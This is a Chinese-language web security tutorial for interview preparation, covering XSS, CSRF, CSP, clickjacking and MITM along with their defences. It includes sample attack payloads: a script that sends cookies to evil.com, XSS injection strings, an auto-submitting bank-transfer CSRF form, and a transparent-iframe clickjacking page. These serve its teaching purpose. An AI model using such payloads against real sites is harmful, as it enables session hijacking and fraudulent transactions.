Web安全攻防

23 分钟

背景:前端为什么要关注安全

浏览器是用户与 Web 应用交互的窗口,也是攻击者最容易触达的入口。一段恶意脚本注入页面,就能窃取用户 Cookie、劫持会话、篡改页面内容;一个精心构造的第三方页面,就能在用户不知情的情况下以其身份发起转账请求。

前端安全的核心矛盾在于:浏览器必须执行来自服务端的代码,但它无法区分"正常业务代码"和"被注入的恶意代码"。XSS 和 CSRF 是这个矛盾下最典型的两类攻击,也是面试中考察频率最高的安全主题。

一、XSS(跨站脚本攻击)

1.1 什么是 XSS

XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到受信任的网页中,当其他用户访问该页面时,浏览器会像执行正常代码一样执行这段恶意脚本。

攻击者的目标通常包括:

  • 窃取用户 Cookie 或 Token,劫持会话
  • 篡改页面内容,进行钓鱼
  • 记录用户键盘输入(键盘记录器)
  • 利用用户身份发起请求(结合 CSRF)
  • 传播蠕虫(如早年的新浪微博 XSS 蠕虫)

1.2 三种 XSS 类型

存储型 XSS(Stored XSS)

恶意脚本被持久化存储在服务端(数据库、文件系统等),任何访问对应页面的用户都会触发。

典型场景:论坛发帖、评论区、用户昵称等用户可提交内容并展示给他人的位置。

攻击者 → 提交评论: <script>document.location='https://evil.com?c='+document.cookie</script>

服务端 → 存入数据库

受害者 → 浏览评论页 → 浏览器执行恶意脚本 → Cookie 被发送到攻击者服务器

存储型 XSS 危害最大,因为它不需要诱导用户点击特定链接,所有访问者都会中招。

反射型 XSS(Reflected XSS)

恶意脚本包含在 URL 参数中,服务端将参数内容未经过滤直接拼接到 HTML 响应中返回。

攻击者构造链接:
https://example.com/search?q=<script>alert(document.cookie)</script>

服务端返回:
<p>搜索结果: <script>alert(document.cookie)</script></p>

反射型 XSS 需要诱导用户点击恶意链接才能触发,常通过邮件、社交平台传播。与存储型的区别在于:恶意代码不会持久化,仅在本次请求-响应中生效。

DOM 型 XSS(DOM-based XSS)

恶意脚本的注入和执行完全在浏览器端完成,不经过服务端。前端 JavaScript 直接读取 URL 参数、location.hashdocument.referrer 等可控输入,未经处理就插入 DOM。

// 漏洞代码:直接将 URL 参数写入页面
const query = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `欢迎你,${query}`;

// 攻击者构造:
// https://example.com?name=<img src=x onerror=alert(document.cookie)>

DOM 型 XSS 的特殊之处在于:服务端完全无感知,WAF(Web 应用防火墙)也拦截不到,因为恶意内容根本不会出现在 HTTP 请求体中。

1.3 三种类型对比

维度存储型反射型DOM 型
恶意代码存储位置服务端数据库URL 参数URL 参数(前端读取)
是否经过服务端
触发方式用户正常访问页面诱导点击恶意链接诱导点击恶意链接
危害范围所有访问者点击链接的用户点击链接的用户
检测难度较低(服务端可审计)中等较高(纯前端行为)

1.4 XSS 防御手段

输入过滤

对用户提交的内容进行校验和过滤,拒绝或转义危险字符。

// 服务端输入过滤示例
function sanitizeInput(input: string): string {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

注意:输入过滤不能作为唯一防线。攻击者可以通过编码绕过(如 Unicode 编码、HTML 实体编码),而且同一份数据可能在不同上下文(HTML、JavaScript、URL、CSS)中使用,单一过滤规则无法覆盖所有场景。

输出编码(最核心的防御)

根据数据插入的上下文,采用对应的编码方式:

输出上下文编码方式示例
HTML 正文HTML 实体编码<&lt;
HTML 属性HTML 属性编码"&quot;
JavaScriptJavaScript 编码'\x27
URL 参数URL 编码<%3C
CSSCSS 编码对特殊字符进行 \ 转义

现代前端框架(React、Vue)默认会对插值表达式进行 HTML 编码,这已经覆盖了大部分场景。但使用 dangerouslySetInnerHTML(React)或 v-html(Vue)时,编码保护会被绕过,必须格外谨慎。

// React 安全 — 默认编码
<div>{userInput}</div>

// React 危险 — 跳过编码,可能导致 XSS
<div dangerouslySetInnerHTML={{ __html: userInput }} />

将敏感 Cookie(如 Session ID)设置为 HttpOnly,使 JavaScript 无法通过 document.cookie 读取。

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 不能阻止 XSS 攻击本身,但能有效防止攻击者通过 XSS 窃取 Cookie。即使页面被注入了恶意脚本,document.cookie 也拿不到标记了 HttpOnly 的字段。

CSP(内容安全策略)

CSP 是防御 XSS 的重要纵深手段,后文详细展开。

二、CSRF(跨站请求伪造)

2.1 什么是 CSRF

CSRF(Cross-Site Request Forgery)是指攻击者诱导已登录用户访问恶意页面,利用用户在目标站点的登录态(Cookie),在用户不知情的情况下向目标站点发起请求。

关键区别:XSS 是在目标站点执行恶意代码,CSRF 是从第三方站点发起伪造请求。CSRF 不需要注入脚本,也不需要窃取 Cookie —— 它利用的是浏览器"发送请求时自动携带对应域名 Cookie"这一机制。

2.2 攻击原理

1. 用户登录 bank.com,浏览器存储了 bank.com 的 Cookie
2. 用户在未退出 bank.com 的情况下,访问了攻击者的 evil.com
3. evil.com 页面中包含一个自动提交的表单:

<form action="https://bank.com/transfer" method="POST" id="hack">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('hack').submit();</script>

4. 浏览器向 bank.com 发送 POST 请求,自动携带 bank.com 的 Cookie
5. bank.com 服务端验证 Cookie 有效,执行转账操作

CSRF 攻击成功的三个必要条件:

  1. 用户已登录目标站点,且会话未过期
  2. 目标站点仅依赖 Cookie 验证身份,没有额外的请求来源校验
  3. 攻击者能诱导用户访问恶意页面

2.3 CSRF 的常见攻击形式

  • GET 型:通过 <img src="https://bank.com/transfer?to=attacker&amount=10000"> 发起,利用 img 标签自动请求
  • POST 型:通过隐藏表单自动提交,如上面的示例
  • 链接型:需要用户主动点击,如 <a href="https://bank.com/transfer?...">点击领取红包</a>

2.4 CSRF 防御手段

SameSite 属性控制 Cookie 在跨站请求时是否发送,是目前最简单有效的 CSRF 防御手段。

SameSite 值效果适用场景
Strict跨站请求完全不携带 Cookie安全性要求高的场景(如银行)
Lax(默认)仅 GET 导航请求携带 Cookie大多数 Web 应用的默认选择
None跨站请求始终携带(须配合 Secure需要跨站嵌入的第三方服务
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly

Chrome 80 起,SameSite 默认值从 None 改为 Lax,这意味着大多数跨站 POST 请求不再自动携带 Cookie,极大降低了 CSRF 风险。

CSRF Token

服务端生成一个随机 Token,嵌入到表单或请求头中。由于攻击者无法读取目标站点页面内容(受同源策略限制),也就拿不到 Token。

<!-- 服务端渲染表单时嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="随机生成的Token" />
  <input type="text" name="to" />
  <input type="text" name="amount" />
  <button type="submit">转账</button>
</form>

服务端验证流程:

  1. 用户访问页面时,服务端生成 Token 并存入 Session
  2. Token 同时写入表单隐藏字段或响应头
  3. 用户提交请求时携带 Token
  4. 服务端比对请求中的 Token 与 Session 中的 Token 是否一致

Referer / Origin 校验

服务端检查请求头中的 RefererOrigin 字段,验证请求是否来自合法页面。

// 服务端 Referer 校验示例
function validateReferer(request: Request): boolean {
  const referer = request.headers.get('Referer');
  if (!referer) return false;

  const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
  return allowedOrigins.some(origin => referer.startsWith(origin));
}

局限性:

  • Referer 可能被用户浏览器隐私设置去掉
  • 某些老旧浏览器的 Referer 可以被篡改
  • HTTPS → HTTP 的请求不会携带 Referer
  • 建议作为辅助校验手段,不作为唯一依赖

将 CSRF Token 写入 Cookie,同时要求前端在请求参数或自定义请求头中也带上同样的值。攻击者能让浏览器自动携带 Cookie,但无法读取 Cookie 的值(受同源策略限制),因此无法在请求参数中带上正确的 Token。

// 前端:从 Cookie 中读取 Token 并放入请求头
const csrfToken = document.cookie
  .split('; ')
  .find(row => row.startsWith('csrf_token='))
  ?.split('=')[1];

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify({ to: 'someone', amount: 100 }),
});

双重 Cookie 的优势在于不需要服务端维护 Session 状态,适合前后端分离架构。但如果攻击者能通过 XSS 注入脚本读取 Cookie,这道防线就会失效 —— 这也说明 XSS 和 CSRF 的防御必须同时做好

三、XSS 与 CSRF 对比

维度XSSCSRF
攻击目标在目标站点注入并执行恶意代码利用用户身份向目标站点发起伪造请求
是否需要注入代码
是否需要用户登录态不一定
攻击发起位置目标站点自身页面第三方恶意页面
能否获取用户数据能(可操作 DOM、读取 Cookie)不能(只能发起请求,无法读取响应)
防御核心思路阻止恶意代码执行验证请求来源的合法性
关联关系XSS 可以用来绕过 CSRF 防御CSRF 攻击可以被 XSS 放大

面试高频追问:"如果网站存在 XSS 漏洞,CSRF Token 还有用吗?"

答案是没用。攻击者通过 XSS 注入脚本后,可以直接读取页面中的 CSRF Token,然后构造合法请求。这就是为什么安全防御需要纵深部署,单一手段无法抵御组合攻击。

四、CSP(内容安全策略)

4.1 CSP 是什么

CSP(Content Security Policy)是一种 HTTP 响应头,用于告诉浏览器只允许加载和执行哪些来源的资源。它是防御 XSS 的重要纵深手段 —— 即使攻击者成功注入了恶意脚本标签,只要该脚本的来源不在 CSP 白名单内,浏览器就会拒绝执行。

CSP 的核心思路:默认禁止一切,按需白名单放行

4.2 配置方式

方式一:HTTP 响应头(推荐)

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

方式二:HTML meta 标签

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://cdn.example.com">

meta 标签方式的局限:不支持 frame-ancestorsreport-uri 等指令,且无法覆盖通过 HTTP 头设置的策略。生产环境推荐使用 HTTP 响应头。

4.3 核心指令详解

指令作用示例
default-src所有资源类型的默认策略default-src 'self'
script-src控制 JavaScript 来源script-src 'self' 'nonce-abc123'
style-src控制 CSS 来源style-src 'self' 'unsafe-inline'
img-src控制图片来源img-src 'self' data: https:
connect-src控制 XHR/Fetch/WebSocket 连接目标connect-src 'self' https://api.example.com
font-src控制字体文件来源font-src 'self' https://fonts.gstatic.com
frame-src控制 iframe 嵌入的页面来源frame-src 'none'
frame-ancestors控制谁可以嵌入本页面(防点击劫持)frame-ancestors 'self'
report-uri / report-to违规行为上报地址report-uri /csp-report

常用的源值关键词:

  • 'self':同源
  • 'none':禁止一切来源
  • 'unsafe-inline':允许内联脚本/样式(会大幅削弱 CSP 防护)
  • 'unsafe-eval':允许 eval()new Function() 等动态执行
  • 'nonce-{随机值}':只允许携带特定 nonce 属性的内联脚本
  • 'strict-dynamic':信任已被 nonce 或 hash 标记的脚本所加载的子脚本

4.4 nonce 模式(推荐实践)

nonce 模式是目前 CSP 防御 XSS 的最佳实践。服务端为每次响应生成一个随机 nonce 值,只有携带正确 nonce 的脚本才会被执行。

Content-Security-Policy: script-src 'nonce-4a8f1e2b' 'strict-dynamic'
<!-- 合法脚本 — 携带正确 nonce,正常执行 -->
<script nonce="4a8f1e2b">
  console.log('业务代码');
</script>

<!-- 注入的恶意脚本 — 无 nonce,被浏览器拦截 -->
<script>alert('XSS')</script>

'strict-dynamic' 的作用是:被 nonce 信任的脚本通过 document.createElement('script') 动态加载的子脚本也会被信任,解决了 CSP 与现代前端打包工具(如 Webpack code splitting)的兼容问题。

4.5 Report-Only 模式

上线 CSP 前,建议先用 Content-Security-Policy-Report-Only 头部进行观察,只上报不拦截:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

浏览器会将所有违规行为以 JSON 格式上报到 /csp-report,方便排查哪些合法资源被误拦,逐步收敛白名单后再切换为强制模式。

五、点击劫持

5.1 攻击原理

点击劫持(Clickjacking)是指攻击者在自己的页面中通过透明 iframe 嵌入目标站点,并诱导用户点击。用户以为自己在点击攻击者页面上的按钮,实际上点击的是透明 iframe 中目标站点的按钮。

<!-- 攻击者页面 -->
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 500px;
    height: 400px;
    opacity: 0; /* 完全透明 */
    z-index: 10;
  }
  .bait {
    position: absolute;
    top: 200px;
    left: 150px;
    z-index: 1;
  }
</style>

<div class="bait">
  <button>点击领取优惠券</button>
</div>
<iframe src="https://bank.com/settings/delete-account"></iframe>

5.2 防御手段

X-Frame-Options 响应头

X-Frame-Options: DENY          # 禁止任何页面嵌入
X-Frame-Options: SAMEORIGIN    # 仅允许同源页面嵌入

CSP frame-ancestors 指令(更灵活,推荐)

Content-Security-Policy: frame-ancestors 'self' https://trusted.com

frame-ancestorsX-Frame-Options 更强大,支持多个来源白名单,且在 CSP Level 2 中被标准化。两者同时存在时,CSP 优先级更高。

JavaScript 防御(兜底方案)

// 检测页面是否被嵌入 iframe
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

这种方式可以被攻击者通过 sandbox 属性绕过,不应作为主要防线。

六、中间人攻击(MITM)

6.1 攻击原理

中间人攻击(Man-In-The-Middle)是指攻击者在客户端和服务端之间的通信链路上进行窃听或篡改。常见场景包括公共 WiFi 劫持、ARP 欺骗、DNS 劫持等。

正常通信:  客户端 ←→ 服务端
中间人:    客户端 ←→ 攻击者 ←→ 服务端

在 HTTP 明文传输下,攻击者可以:

  • 窃取用户提交的账号密码
  • 篡改响应内容(注入广告、恶意脚本)
  • 劫持会话 Cookie

6.2 防御手段

  • 全站 HTTPS:TLS 加密确保传输内容无法被窃听和篡改,这是抵御 MITM 的根本手段
  • HSTS(HTTP Strict Transport Security):告诉浏览器在指定时间内只通过 HTTPS 访问该站点,防止 SSL Stripping 攻击
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • 证书固定(Certificate Pinning):客户端预置服务端证书的公钥指纹,防止攻击者使用伪造证书。移动端 App 常用,Web 端已逐步弃用(Public-Key-Pins 头已废弃,改用 Certificate Transparency)

七、面试高频问题

Q: XSS 和 CSRF 的本质区别是什么?

XSS 的本质是"代码注入"—— 攻击者让目标站点执行了非预期的代码。CSRF 的本质是"请求伪造"—— 攻击者利用浏览器自动携带 Cookie 的机制,让用户在不知情的情况下发起请求。XSS 在目标站点上下文中执行,CSRF 从外部站点发起。

Q: 为什么 Cookie 要同时设置 HttpOnly、Secure、SameSite?

三者各司其职:HttpOnly 防止 XSS 窃取 Cookie;Secure 确保 Cookie 只在 HTTPS 下传输,防止中间人窃听;SameSite 限制跨站请求携带 Cookie,防止 CSRF。三道防线组合才能覆盖不同攻击向量。

Q: CSP 能完全防住 XSS 吗?

不能。CSP 是纵深防御的一环,不是银弹。如果配置了 'unsafe-inline''unsafe-eval',内联脚本注入仍然有效。此外,如果白名单中的 CDN 上存在可利用的 JavaScript 文件(如 JSONP 接口),攻击者可以借此绕过 CSP。正确的做法是 CSP 配合输出编码、HttpOnly Cookie 等手段多层防御。

Q: 前后端分离架构下,CSRF 防御有什么变化?

前后端分离后,页面通常不再由服务端渲染,CSRF Token 无法直接嵌入 HTML。常见方案是:登录后通过接口下发 Token 并存入 Cookie,前端在每次请求时从 Cookie 中读取并放入自定义请求头(双重 Cookie 方案)。配合 SameSite=Lax,大多数 CSRF 场景已可覆盖。

总结

Web 安全防御的核心原则是纵深防御,不依赖单一手段

  • XSS 防御:输出编码是根基,CSP 是纵深,HttpOnly 是兜底。现代框架默认编码已覆盖大部分场景,但 dangerouslySetInnerHTML / v-html 等逃生舱必须严格审计
  • CSRF 防御SameSite=Lax(浏览器默认值)已覆盖大部分场景,关键操作配合 CSRF Token 或双重 Cookie 做二次校验
  • 传输安全:全站 HTTPS + HSTS 是底线
  • 嵌入防护frame-ancestorsX-Frame-Options 阻止点击劫持

安全不是配一个响应头就万事大吉。线上项目应建立 CSP 违规上报、XSS 漏洞扫描、依赖库安全审计等持续监控机制,做到及时发现、快速响应。

答案是没用。攻击者通过 XSS 注入脚本后,可以直接读取页面中的 CSRF Token,然后构造合法请求。这就是为什么安全防御需要纵深部署,单一手段无法抵御组合攻击。